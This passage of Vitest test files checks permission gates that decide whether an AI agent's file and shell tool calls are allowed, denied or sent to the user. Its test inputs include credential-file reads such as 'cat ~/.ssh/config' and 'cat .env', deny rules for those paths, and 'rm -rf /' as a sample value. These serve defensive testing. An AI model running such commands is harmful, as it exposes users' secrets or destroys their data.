makeCheckResult({ state: "allow" }),
);
const result = await describeGate(
makeTcc({ input: { command: "echo test > .env" } }),
resolver,
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
expect((result as GateDescriptor).preCheck?.state).toBe("deny");
});
it("returns null when all tokens match only the universal default", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(
makeCheckResult({
state: "ask",
matchedPattern: undefined,
source: "special",
origin: "builtin",
}),
),
);
expect(result).toBeNull();
});
it("ignores tokens matching universal default but fires for explicit rule matches", async () => {
const resolver = makePathDispatchResolver(
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
// Other tokens match only the universal default (no matchedPattern)
makeCheckResult({
state: "ask",
matchedPattern: undefined,
source: "special",
origin: "builtin",
}),
);
const result = await describeGate(
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
resolver,
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.preCheck?.state).toBe("deny");
expect(desc.decision.value).toBe(".env");
});
it("resolves cd-aware policy values while keeping the raw prompt token", async () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*" }),
);
const result = (await describeGate(
makeTcc({
input: { command: "cd nested && cat src/file.txt" },
cwd: "/test/project",
}),
resolver,
)) as GateDescriptor;
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath("src/file.txt", {
cwd: "/test/project",
resolveBase: "/test/project/nested",
flavor: posixPathFlavor,
}),
agentName: undefined,
});
// The raw token drives the prompt payload, the decision, and the approval.
expect(result.payload.request.value).toBe("src/file.txt");
expect(result.decision.value).toBe("src/file.txt");
});
it("does not resolve relative policy values through an unknown cd", async () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*" }),
);
await describeGate(
makeTcc({
input: { command: 'cd "$DIR" && cat src/foo.ts' },
cwd: "/test/project",
}),
resolver,
);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forLiteral("src/foo.ts"),
agentName: undefined,
});
});
it("binds a current-directory token's session approval to the cwd subtree", async () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*" }),
);
const result = (await describeGate(
makeTcc({
input: { command: "cat .env" },
cwd: "/test/project",
}),
resolver,
)) as GateDescriptor;
expect(result.decision.value).toBe(".env");
expect(result.sessionApproval?.surface).toBe("path");
expect(result.sessionApproval?.representativePattern).toBe(
"/test/project/*",
);
});
});
// Home-relative path characterization (#350) ──────────────────────────────
//
// The parser extracts ~/... tokens from bash commands; the resolver receives
// the raw token and normalizeInput handles expansion. These tests verify the
// gate correctly dispatches ~/... tokens through the deny/ask path.
describe("describeBashPathGate — home-relative paths", () => {
it("extracts ~/... token and builds descriptor on deny", async () => {
// node:os is mocked: homedir() returns "/mock/home".
// cat ~/.ssh/config → token "~/.ssh/config" extracted.
const resolver = makePathDispatchResolver(
{
"/mock/home/.ssh/config": makeCheckResult({
state: "deny",
matchedPattern: "~/.ssh/*",
}),
},
makeCheckResult({ state: "allow" }),
);
const result = (await describeGate(
makeTcc({ input: { command: "cat ~/.ssh/config" } }),
resolver,
)) as GateDescriptor;
expect(isGateDescriptor(result)).toBe(true);
expect(result.preCheck?.state).toBe("deny");
expect(result.promptDetails.command).toBe("cat ~/.ssh/config");
expect(result.payload.request.value).toBe("~/.ssh/config");
});
it("extracts $HOME/... token and builds descriptor on deny", async () => {
const resolver = makePathDispatchResolver(
{
"/mock/home/.ssh/config": makeCheckResult({
state: "deny",
matchedPattern: "$HOME/.ssh/*",
}),
},
makeCheckResult({ state: "allow" }),
);
const result = (await describeGate(
makeTcc({ input: { command: "cat $HOME/.ssh/config" } }),
resolver,
)) as GateDescriptor;
expect(isGateDescriptor(result)).toBe(true);
expect(result.preCheck?.state).toBe("deny");
// A plain `$HOME` reference is resolved at token collection (#694), so the
// displayed token is the path the shell will actually touch — and it now
// agrees with the session-approval pattern, which has always been derived
// from the expanded `AccessPath.value()`. A `~` token keeps its raw
// spelling: it is shape-classified directly and never needed
// collection-time expansion.
expect(result.payload.request.value).toBe("/mock/home/.ssh/config");
});
});
// Win32 backslash-relative path gating (#520) ──────────────────────────────
//
// On Windows a backslash is a path separator, so a backslash-relative bash
// argument (`cat dir\file`) must be gated by a `path` rule the same as its
// forward-slash equivalent (`dir/file`). On POSIX `\` is a legal filename
// character, so the token stays bare and is not gated.
describe("describeBashPathGate — win32 backslash-relative paths", () => {
it("denies a backslash-relative token matching a path rule on win32", async () => {
// The win32 normalizer resolves `dir\file` to matchValues including the
// relative `dir\file` alias, which the rule (`dir/file`, folded to
// `dir\file` under win32 separators) matches.
const resolver = makePathDispatchResolver(
{
"dir\\file": makeCheckResult({
state: "deny",
matchedPattern: "dir/file",
}),
},
makeCheckResult({ state: "allow" }),
);
const result = (await describeGateOnPlatform(
"win32",
makeTcc({
input: { command: "cat dir\\file" },
cwd: "C:\\Projects\\App",
}),
resolver,
)) as GateDescriptor;
expect(isGateDescriptor(result)).toBe(true);
expect(result.preCheck?.state).toBe("deny");
expect(result.payload.request.value).toBe("dir\\file");
});
it("does not gate a backslash-relative token on posix (stays bare)", async () => {
const resolver = makePathDispatchResolver(
{
"dir\\file": makeCheckResult({
state: "deny",
matchedPattern: "dir/file",
}),
},
makeCheckResult({ state: "allow" }),
);
const result = await describeGateOnPlatform(
"linux",
makeTcc({
input: { command: "cat dir\\file" },
cwd: "/projects/app",
}),
resolver,
);
expect(result).toBeNull();
});
});
@@ -0,0 +1,52 @@
import { describe, expect, it } from "vitest";
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
describe("pickMostRestrictive", () => {
it("returns undefined for an empty list", () => {
expect(pickMostRestrictive([])).toBeUndefined();
});
it("returns the single result for a one-element list", () => {
const only = makeGateCheckResult({ state: "allow" });
expect(pickMostRestrictive([only])).toBe(only);
});
it("prefers deny over ask and allow regardless of position", () => {
const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
});
it("prefers ask over allow when no deny is present", () => {
const allow = makeGateCheckResult({ state: "allow" });
const ask = makeGateCheckResult({ state: "ask" });
expect(pickMostRestrictive([allow, ask])).toBe(ask);
});
it("keeps the first deny on ties", () => {
const deny1 = makeGateCheckResult({
state: "deny",
matchedPattern: "first",
});
const deny2 = makeGateCheckResult({
state: "deny",
matchedPattern: "second",
});
expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
});
it("keeps the first ask on ties when no deny is present", () => {
const allow = makeGateCheckResult({ state: "allow" });
const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
const ask2 = makeGateCheckResult({
state: "ask",
matchedPattern: "second",
});
expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
});
});
@@ -0,0 +1,135 @@
import { describe, expect, it } from "vitest";
import { AccessPath } from "#src/access-intent/access-path";
import {
resolveExternalDirectoryPolicy,
selectUncoveredExternalPaths,
} from "#src/handlers/gates/external-directory-policy";
import { posixPathFlavor } from "#src/path/path-flavor";
import type { PermissionCheckResult } from "#src/types";
import { makeResolver } from "#test/helpers/gate-fixtures";
const cwd = "/test/project";
function makeCheckResult(
state: "allow" | "deny" | "ask",
overrides: Partial<PermissionCheckResult> = {},
): PermissionCheckResult {
return {
state,
toolName: "external_directory",
source: "special",
origin: "builtin",
...overrides,
};
}
describe("resolveExternalDirectoryPolicy", () => {
it("resolves the path's match aliases on the external_directory surface (#418)", () => {
const path = AccessPath.forPath("/outside/a.ts", {
cwd,
flavor: posixPathFlavor,
});
const resolver = makeResolver(makeCheckResult("ask"));
const result = resolveExternalDirectoryPolicy(path, resolver, undefined);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "external_directory",
path,
agentName: undefined,
});
expect(result).toEqual(makeCheckResult("ask"));
});
it("threads the agent name through to the resolver", () => {
const path = AccessPath.forPath("/outside/a.ts", {
cwd,
flavor: posixPathFlavor,
});
const resolver = makeResolver(makeCheckResult("allow"));
resolveExternalDirectoryPolicy(path, resolver, "reviewer");
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "external_directory",
path,
agentName: "reviewer",
});
});
});
describe("selectUncoveredExternalPaths", () => {
it("returns no uncovered paths when every path resolves to allow", () => {
const paths = [
AccessPath.forPath("/outside/a.ts", { cwd, flavor: posixPathFlavor }),
AccessPath.forPath("/outside/b.ts", { cwd, flavor: posixPathFlavor }),
];
const resolver = makeResolver(makeCheckResult("allow"));
const { uncovered, worstCheck } = selectUncoveredExternalPaths(
paths,
resolver,
undefined,
);
expect(uncovered).toEqual([]);
expect(worstCheck).toBeUndefined();
});
it("collects only paths whose resolved state is not allow", () => {
const allowed = AccessPath.forPath("/outside/ok.ts", {
cwd,
flavor: posixPathFlavor,
});
const asked = AccessPath.forPath("/outside/ask.ts", {
cwd,
flavor: posixPathFlavor,
});
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const values =
intent.kind === "access-path" ? intent.path.matchValues() : [];
return values.includes("/outside/ok.ts")
? makeCheckResult("allow")
: makeCheckResult("ask");
});
const { uncovered } = selectUncoveredExternalPaths(
[allowed, asked],
resolver,
undefined,
);
expect(uncovered.map(({ path }) => path.value())).toEqual([asked.value()]);
});
it("returns the most restrictive uncovered check as worstCheck (deny > ask)", () => {
const asked = AccessPath.forPath("/outside/ask.ts", {
cwd,
flavor: posixPathFlavor,
});
const denied = AccessPath.forPath("/outside/deny.ts", {
cwd,
flavor: posixPathFlavor,
});
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const values =
intent.kind === "access-path" ? intent.path.matchValues() : [];
return values.includes("/outside/deny.ts")
? makeCheckResult("deny")
: makeCheckResult("ask");
});
const { worstCheck } = selectUncoveredExternalPaths(
[asked, denied],
resolver,
undefined,
);
expect(worstCheck?.state).toBe("deny");
});
});
@@ -0,0 +1,304 @@
import { describe, expect, it } from "vitest";
import type {
GateBypass,
GateDescriptor,
} from "#src/handlers/gates/descriptor";
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
import { describeExternalDirectoryGate } from "#src/handlers/gates/external-directory";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { pathFlavorForPlatform } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import type { ScopedPermissionResolver } from "#src/permission-resolver";
import type { ToolAccessExtractorLookup } from "#src/tool-access-extractor-registry";
import { makeResolver } from "#test/helpers/gate-fixtures";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
// ── helpers ──────────────────────────────────────────────────────────────
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
return {
toolName: "read",
agentName: null,
input: { path: "/outside/project/file.ts" },
toolCallId: "tc-1",
cwd: "/test/project",
...overrides,
};
}
// Default resolver for descriptor-shape tests that do not assert the resolved
// state: returns `ask` for the external_directory surface so a descriptor is
// produced. Tests that assert the typed+resolved matching pass an explicit
// resolver to `describeExternalDirectoryGate` directly.
function gateUnderTest(
tcc: ToolCallContext,
infraDirs: string[],
extractors?: ToolAccessExtractorLookup,
resolver: ScopedPermissionResolver = makeResolver(
makeCheckResult({ state: "ask", toolName: "external_directory" }),
),
) {
return describeExternalDirectoryGate(
tcc,
infraDirs,
resolver,
new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd),
extractors,
);
}
// ── tests ────────────────────────────────────────────────────────────────
describe("describeExternalDirectoryGate", () => {
it("returns null when tool is not path-bearing", () => {
const result = gateUnderTest(
makeTcc({ toolName: "bash", input: { command: "ls" } }),
["/test/agent"],
);
expect(result).toBeNull();
});
it("returns null when path is inside CWD", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/test/project/src/index.ts" } }),
["/test/agent"],
);
expect(result).toBeNull();
});
// ── Pi infrastructure read bypass ─────────────────────────────────────
it("returns GateBypass for read targeting an infra dir", () => {
const result = gateUnderTest(
makeTcc({
toolName: "read",
input: { path: "/test/agent/git/some-package/SKILL.md" },
}),
["/test/agent", "/test/agent/git"],
);
expect(result).not.toBeNull();
expect(isGateBypass(result)).toBe(true);
const bypass = result as GateBypass;
expect(bypass.action).toBe("allow");
expect(bypass.decision).toMatchObject({
resolution: "infrastructure_auto_allowed",
result: "allow",
});
expect(bypass.log).toMatchObject({
event: "permission_request.infrastructure_auto_allowed",
});
// Containment allowed this, not a rule the operator wrote.
expect(bypass.decidedBy).toEqual({ kind: "infrastructure_read" });
});
it("returns GateBypass respecting custom infraDirs", () => {
const result = gateUnderTest(
makeTcc({
toolName: "read",
input: { path: "/custom/infra/SKILL.md" },
}),
["/custom/infra"],
);
expect(isGateBypass(result)).toBe(true);
});
it("does NOT bypass for write tools targeting infra dirs", () => {
const result = gateUnderTest(
makeTcc({
toolName: "write",
input: { path: "/test/agent/git/some-file.ts", content: "x" },
}),
["/test/agent", "/test/agent/git"],
);
// Should be a GateDescriptor (needs permission check), not a bypass
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
});
// ── GateDescriptor for external paths ─────────────────────────────────
it("returns GateDescriptor with surface 'external_directory'", () => {
const result = gateUnderTest(makeTcc(), ["/test/agent"]);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.surface).toBe("external_directory");
});
it("decision value is the external path", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
) as GateDescriptor;
expect(result.decision.value).toBe("/outside/project/file.ts");
expect(result.decision.surface).toBe("external_directory");
});
it("carries the child-fixed access facts on promptDetails (external_directory surface)", () => {
const path = "/outside/project/file.ts";
const result = gateUnderTest(makeTcc({ input: { path } }), [
"/test/agent",
]) as GateDescriptor;
const accessPath = new PathNormalizer(
pathFlavorForPlatform(process.platform),
"/test/project",
).forPath(path);
expect(result.promptDetails.accessIntent).toEqual({
surface: "external_directory",
matchValues: accessPath.matchValues(),
boundaryValue: accessPath.boundaryValue(),
});
});
it("emits an external_directory payload carrying the escaped boundary", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
) as GateDescriptor;
expect(result.payload.kind).toBe("external_directory");
expect(result.payload.request.value).toBe("/outside/project/file.ts");
expect(result.payload.evidence).toContainEqual({
label: "working directory",
text: "/test/project",
detail: null,
});
});
it("carries a precomputed preCheck and an empty input (matching is done by the gate)", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
) as GateDescriptor;
expect(result.input).toEqual({});
expect(result.preCheck).toBeDefined();
expect(result.preCheck?.state).toBe("ask");
});
it("resolves the typed and symlink-resolved aliases on the external_directory surface (#418)", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", toolName: "external_directory" }),
);
gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
undefined,
resolver,
);
expect(resolver.resolve).toHaveBeenCalledWith(
expect.objectContaining({
kind: "access-path",
surface: "external_directory",
agentName: undefined,
}),
);
const intent = resolver.resolve.mock.calls[0][0];
expect(intent.kind).toBe("access-path");
if (intent.kind === "access-path") {
expect(intent.path.matchValues()).toEqual(["/outside/project/file.ts"]);
}
});
it("sessionApproval uses deriveApprovalPattern", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
) as GateDescriptor;
expect(result.sessionApproval).toBeDefined();
expect(result.sessionApproval?.surface).toBe("external_directory");
expect(result.sessionApproval?.representativePattern).toBeDefined();
});
it("payload contains the external path and the boundary it escaped", () => {
const result = gateUnderTest(
makeTcc({ input: { path: "/outside/project/file.ts" } }),
["/test/agent"],
) as GateDescriptor;
expect(result.payload.kind).toBe("external_directory");
expect(result.payload.request.toolName).toBe("read");
expect(result.payload.request.value).toBe("/outside/project/file.ts");
expect(result.payload.evidence).toContainEqual({
label: "working directory",
text: "/test/project",
detail: null,
});
});
it("promptDetails includes path and tool_call source", () => {
const result = gateUnderTest(
makeTcc({ toolName: "read", agentName: "agent-1", toolCallId: "tc-5" }),
["/test/agent"],
) as GateDescriptor;
expect(result.promptDetails).toMatchObject({
source: "tool_call",
agentName: "agent-1",
toolCallId: "tc-5",
toolName: "read",
path: "/outside/project/file.ts",
});
});
it("logContext includes the path, and no prompt wording", () => {
const result = gateUnderTest(makeTcc(), ["/test/agent"]) as GateDescriptor;
expect(result.logContext).toMatchObject({
source: "tool_call",
path: "/outside/project/file.ts",
});
// The payload's request facts are stamped by the runner, not the gate.
expect(result.logContext).not.toHaveProperty("message");
});
});
// Extension and MCP tools are now external-directory gated (#352) ───────────
describe("describeExternalDirectoryGate — extension and MCP tools (#352)", () => {
it("gates an extension tool with an external input.path", () => {
const result = gateUnderTest(
makeTcc({
toolName: "my-ext",
input: { path: "/outside/project/file.ts" },
}),
["/test/agent"],
);
expect(isGateDescriptor(result)).toBe(true);
expect((result as GateDescriptor).surface).toBe("external_directory");
});
it("gates an MCP tool with an external arguments.path", () => {
const result = gateUnderTest(
makeTcc({
toolName: "mcp",
input: { arguments: { path: "/outside/project/file.ts" } },
}),
["/test/agent"],
);
expect(isGateDescriptor(result)).toBe(true);
});
it("uses a registered extractor's external path for a custom-shaped tool", () => {
const extractors = {
get: (name: string) =>
name === "ffgrep"
? (input: Record<string, unknown>) =>
typeof input.target === "string" ? input.target : undefined
: undefined,
};
const result = gateUnderTest(
makeTcc({ toolName: "ffgrep", input: { target: "/outside/project/x" } }),
["/test/agent"],
extractors,
);
expect(isGateDescriptor(result)).toBe(true);
});
it("returns null for an extension tool whose path is inside cwd", () => {
const result = gateUnderTest(
makeTcc({
toolName: "my-ext",
input: { path: "/test/project/src/x.ts" },
}),
["/test/agent"],
);
expect(result).toBeNull();
});
});
@@ -0,0 +1,261 @@
import { describe, expect, it } from "vitest";
import { AccessPath } from "#src/access-intent/access-path";
import {
accessFactsFromPath,
accessFactsFromValue,
buildDecisionEvent,
deriveDecisionValue,
deriveResolution,
resolveYoloGrant,
} from "#src/handlers/gates/helpers";
import { posixPathFlavor } from "#src/path/path-flavor";
import type { PermissionCheckResult } from "#src/types";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
describe("deriveDecisionValue", () => {
it("returns command for bash", () => {
expect(deriveDecisionValue("bash", { command: "git status" })).toBe(
"git status",
);
});
it("falls back to toolName when bash has no command", () => {
expect(deriveDecisionValue("bash", {})).toBe("bash");
});
it("returns target for mcp", () => {
expect(deriveDecisionValue("mcp", { target: "exa:search" })).toBe(
"exa:search",
);
});
it("falls back to toolName when mcp has no target", () => {
expect(deriveDecisionValue("mcp", {})).toBe("mcp");
});
it("returns toolName for non-path-bearing tools", () => {
expect(deriveDecisionValue("my_extension_tool", {})).toBe(
"my_extension_tool",
);
});
it("returns path for path-bearing tools when path is provided", () => {
expect(deriveDecisionValue("read", {}, "/project/src/main.ts")).toBe(
"/project/src/main.ts",
);
expect(deriveDecisionValue("write", {}, "src/.env")).toBe("src/.env");
});
it("falls back to toolName for path-bearing tools when path is missing", () => {
expect(deriveDecisionValue("read", {})).toBe("read");
expect(deriveDecisionValue("write", {}, undefined)).toBe("write");
});
});
describe("deriveResolution", () => {
it("returns policy_allow for allow state", () => {
expect(deriveResolution("allow", "allow", false, true)).toBe(
"policy_allow",
);
});
it("returns policy_deny for deny state", () => {
expect(deriveResolution("deny", "block", false, true)).toBe("policy_deny");
});
it("returns user_approved for ask + allow without session", () => {
expect(deriveResolution("ask", "allow", false, true)).toBe("user_approved");
});
it("returns user_approved_for_session for ask + allow with session", () => {
expect(deriveResolution("ask", "allow", true, true)).toBe(
"user_approved_for_session",
);
});
it("returns auto_approved when autoApproved flag is set", () => {
expect(deriveResolution("ask", "allow", false, true, true)).toBe(
"auto_approved",
);
});
it("returns auto_approved for allow + autoApproved (yolo-origin allow)", () => {
expect(deriveResolution("allow", "allow", false, false, true)).toBe(
"auto_approved",
);
});
it("returns user_denied for ask + block when confirmation was available", () => {
expect(deriveResolution("ask", "block", false, false)).toBe("user_denied");
});
it("returns confirmation_unavailable for ask + block when confirmation was unavailable", () => {
expect(deriveResolution("ask", "block", false, true)).toBe(
"confirmation_unavailable",
);
});
});
describe("buildDecisionEvent", () => {
function makeCheck(
overrides: Partial<PermissionCheckResult> = {},
): PermissionCheckResult {
return {
state: "allow",
toolName: "read",
source: "tool",
origin: "builtin",
matchedPattern: "*",
...overrides,
};
}
it("builds a decision event with all fields populated", () => {
const event = buildDecisionEvent(
{ surface: "read", value: "read" },
makeCheck({ origin: "global", matchedPattern: "read" }),
"test-agent",
"allow",
"policy_allow",
);
expect(event).toEqual({
surface: "read",
value: "read",
result: "allow",
resolution: "policy_allow",
origin: "global",
agentName: "test-agent",
matchedPattern: "read",
});
});
it("normalises undefined origin to null", () => {
const event = buildDecisionEvent(
{ surface: "bash", value: "git status" },
makeCheck({ origin: undefined }),
null,
"allow",
"user_approved",
);
expect(event.origin).toBeNull();
});
it("normalises null agentName to null", () => {
const event = buildDecisionEvent(
{ surface: "read", value: "read" },
makeCheck(),
null,
"deny",
"policy_deny",
);
expect(event.agentName).toBeNull();
});
it("normalises undefined matchedPattern to null", () => {
const event = buildDecisionEvent(
{ surface: "read", value: "read" },
makeCheck({ matchedPattern: undefined }),
null,
"deny",
"policy_deny",
);
expect(event.matchedPattern).toBeNull();
});
it("passes result and resolution through", () => {
const event = buildDecisionEvent(
{ surface: "bash", value: "rm -rf /" },
makeCheck(),
null,
"deny",
"user_denied",
);
expect(event.result).toBe("deny");
expect(event.resolution).toBe("user_denied");
});
});
describe("resolveYoloGrant", () => {
it("returns the check unchanged for a ruleset-granted yolo allow", () => {
const check = makeCheckResult({ origin: "yolo", matchedPattern: "*" });
expect(resolveYoloGrant(check, false)).toBe(check);
});
it("grants a residual ask under yolo, preserving the matched pattern", () => {
const check = makeCheckResult({
state: "ask",
source: "bash",
toolName: "bash",
matchedPattern: "<indirection-bash-wrapper>",
});
expect(resolveYoloGrant(check, true)).toEqual({
...check,
state: "allow",
origin: "yolo",
});
});
it("returns null for a residual ask with yolo disabled", () => {
expect(
resolveYoloGrant(
makeCheckResult({ state: "ask", matchedPattern: "*" }),
false,
),
).toBeNull();
});
it("returns null for an allow granted by an ordinary rule", () => {
expect(
resolveYoloGrant(
makeCheckResult({ origin: "global", matchedPattern: "*" }),
true,
),
).toBeNull();
});
it("returns null for a deny, so an explicit deny survives yolo", () => {
expect(
resolveYoloGrant(
makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
true,
),
).toBeNull();
});
});
describe("accessFactsFromPath", () => {
it("projects the AccessPath's match set and boundary as strings", () => {
const path = AccessPath.forPath("/outside/x.ts", {
cwd: "/repo",
flavor: posixPathFlavor,
});
expect(accessFactsFromPath("external_directory", path)).toEqual({
surface: "external_directory",
matchValues: path.matchValues(),
boundaryValue: path.boundaryValue(),
});
});
it("collapses an empty boundary (literal-only path) to null", () => {
const path = AccessPath.forLiteral("relative-token");
expect(path.boundaryValue()).toBe("");
expect(accessFactsFromPath("path", path)).toEqual({
surface: "path",
matchValues: ["relative-token"],
boundaryValue: null,
});
});
});
describe("accessFactsFromValue", () => {
it("wraps a single portable value with a null boundary", () => {
expect(accessFactsFromValue("skill", "deep-research")).toEqual({
surface: "skill",
matchValues: ["deep-research"],
boundaryValue: null,
});
});
});
@@ -0,0 +1,402 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
// Default implementation is identity — lexical tests are unaffected.
const realpathSync = vi.hoisted(() =>
vi.fn<(path: string) => string>((p) => p),
);
vi.mock("node:fs", () => ({
realpathSync,
default: { realpathSync },
}));
import { AccessPath } from "#src/access-intent/access-path";
import type { GateDescriptor } from "#src/handlers/gates/descriptor";
import { isGateDescriptor } from "#src/handlers/gates/descriptor";
import { describePathGate } from "#src/handlers/gates/path";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { pathFlavorForPlatform, posixPathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import {
makeGateCheckResult as makeCheckResult,
makeResolver,
} from "#test/helpers/gate-fixtures";
// ── helpers ────────────────────────────────────────────────────────────────
// path.test.ts uses read-tool defaults; the shared makeTcc uses bash defaults.
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
return {
toolName: "read",
agentName: null,
input: { path: ".env" },
toolCallId: "tc-1",
cwd: "/test/project",
...overrides,
};
}
// The gate reads the path normalizer (platform + cwd baked in) from the
// session; here it is bound to the makeTcc default cwd.
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
"/test/project",
);
// ── tests ──────────────────────────────────────────────────────────────────
describe("describePathGate", () => {
beforeEach(() => {
realpathSync.mockReset();
realpathSync.mockImplementation((p: string) => p);
});
it("returns null for non-path-bearing tools", () => {
const resolver = makeResolver();
const result = describePathGate(
makeTcc({ toolName: "bash", input: { command: "ls" } }),
resolver,
normalizer,
);
expect(result).toBeNull();
expect(resolver.resolve).not.toHaveBeenCalled();
});
it("returns null when tool has no extractable path", () => {
const resolver = makeResolver();
const result = describePathGate(
makeTcc({ toolName: "read", input: {} }),
resolver,
normalizer,
);
expect(result).toBeNull();
});
it("returns null when path check result is allow", () => {
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
const result = describePathGate(makeTcc(), resolver, normalizer);
expect(result).toBeNull();
});
it("returns null when matchedPattern is undefined (universal default)", () => {
const resolver = makeResolver(
makeCheckResult({
state: "ask",
matchedPattern: undefined,
source: "special",
origin: "builtin",
}),
);
const result = describePathGate(makeTcc(), resolver, normalizer);
expect(result).toBeNull();
});
it("returns GateDescriptor when matchedPattern is defined (explicit path rule)", () => {
const resolver = makeResolver(
makeCheckResult({
state: "ask",
matchedPattern: "*.env",
source: "special",
origin: "global",
}),
);
const result = describePathGate(makeTcc(), resolver, normalizer);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
});
it("returns GateDescriptor when path check result is deny", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = describePathGate(makeTcc(), resolver, normalizer);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.surface).toBe("path");
expect(desc.preCheck?.state).toBe("deny");
});
it("returns GateDescriptor when path check result is ask", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
);
const result = describePathGate(makeTcc(), resolver, normalizer);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.surface).toBe("path");
expect(desc.preCheck?.state).toBe("ask");
});
it("descriptor has correct session approval surface and pattern", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*" }),
);
const result = describePathGate(
makeTcc({ input: { path: "/test/project/src/.env" } }),
resolver,
normalizer,
) as GateDescriptor;
expect(result.sessionApproval).toBeDefined();
expect(result.sessionApproval?.surface).toBe("path");
expect(result.sessionApproval?.representativePattern).toBeDefined();
});
it("binds a current-directory file's session approval to the cwd subtree", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*" }),
);
const result = describePathGate(
makeTcc({ input: { path: "index.html" }, cwd: "/test/project" }),
resolver,
normalizer,
) as GateDescriptor;
expect(result.sessionApproval?.surface).toBe("path");
expect(result.sessionApproval?.representativePattern).toBe(
"/test/project/*",
);
});
it("descriptor denialContext references the file path and tool name", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc(),
resolver,
normalizer,
) as GateDescriptor;
expect(result.payload.kind).toBe("path");
expect(result.payload.request.toolName).toBe("read");
expect(result.payload.request.value).toBe(".env");
expect(result.payload.request.requester.agentName).toBeNull();
});
it("carries the child-fixed access facts on promptDetails (path surface)", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc(),
resolver,
normalizer,
) as GateDescriptor;
const accessPath = AccessPath.forPath(".env", {
cwd: "/test/project",
flavor: posixPathFlavor,
});
expect(result.promptDetails.accessIntent).toEqual({
surface: "path",
matchValues: accessPath.matchValues(),
boundaryValue: accessPath.boundaryValue(),
});
});
it("emits a path payload naming the matched rule", () => {
const resolver = makeResolver(
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc(),
resolver,
normalizer,
) as GateDescriptor;
expect(result.payload.kind).toBe("path");
expect(result.payload.request.value).toBe(".env");
expect(result.payload.request.matchedPattern).toBe("*.env");
});
it("descriptor decision uses surface 'path' and the file path as value", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc(),
resolver,
normalizer,
) as GateDescriptor;
expect(result.decision.surface).toBe("path");
expect(result.decision.value).toBe(".env");
});
it("resolves the path surface with an access-path intent and agent name", () => {
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
describePathGate(makeTcc({ agentName: "my-agent" }), resolver, normalizer);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath(".env", {
cwd: "/test/project",
flavor: posixPathFlavor,
}),
agentName: "my-agent",
});
});
it("emits an access-path whose matchValues include the symlink-resolved form (#486)", () => {
// /test/project/.env is a symlink to /vault/secret.env.
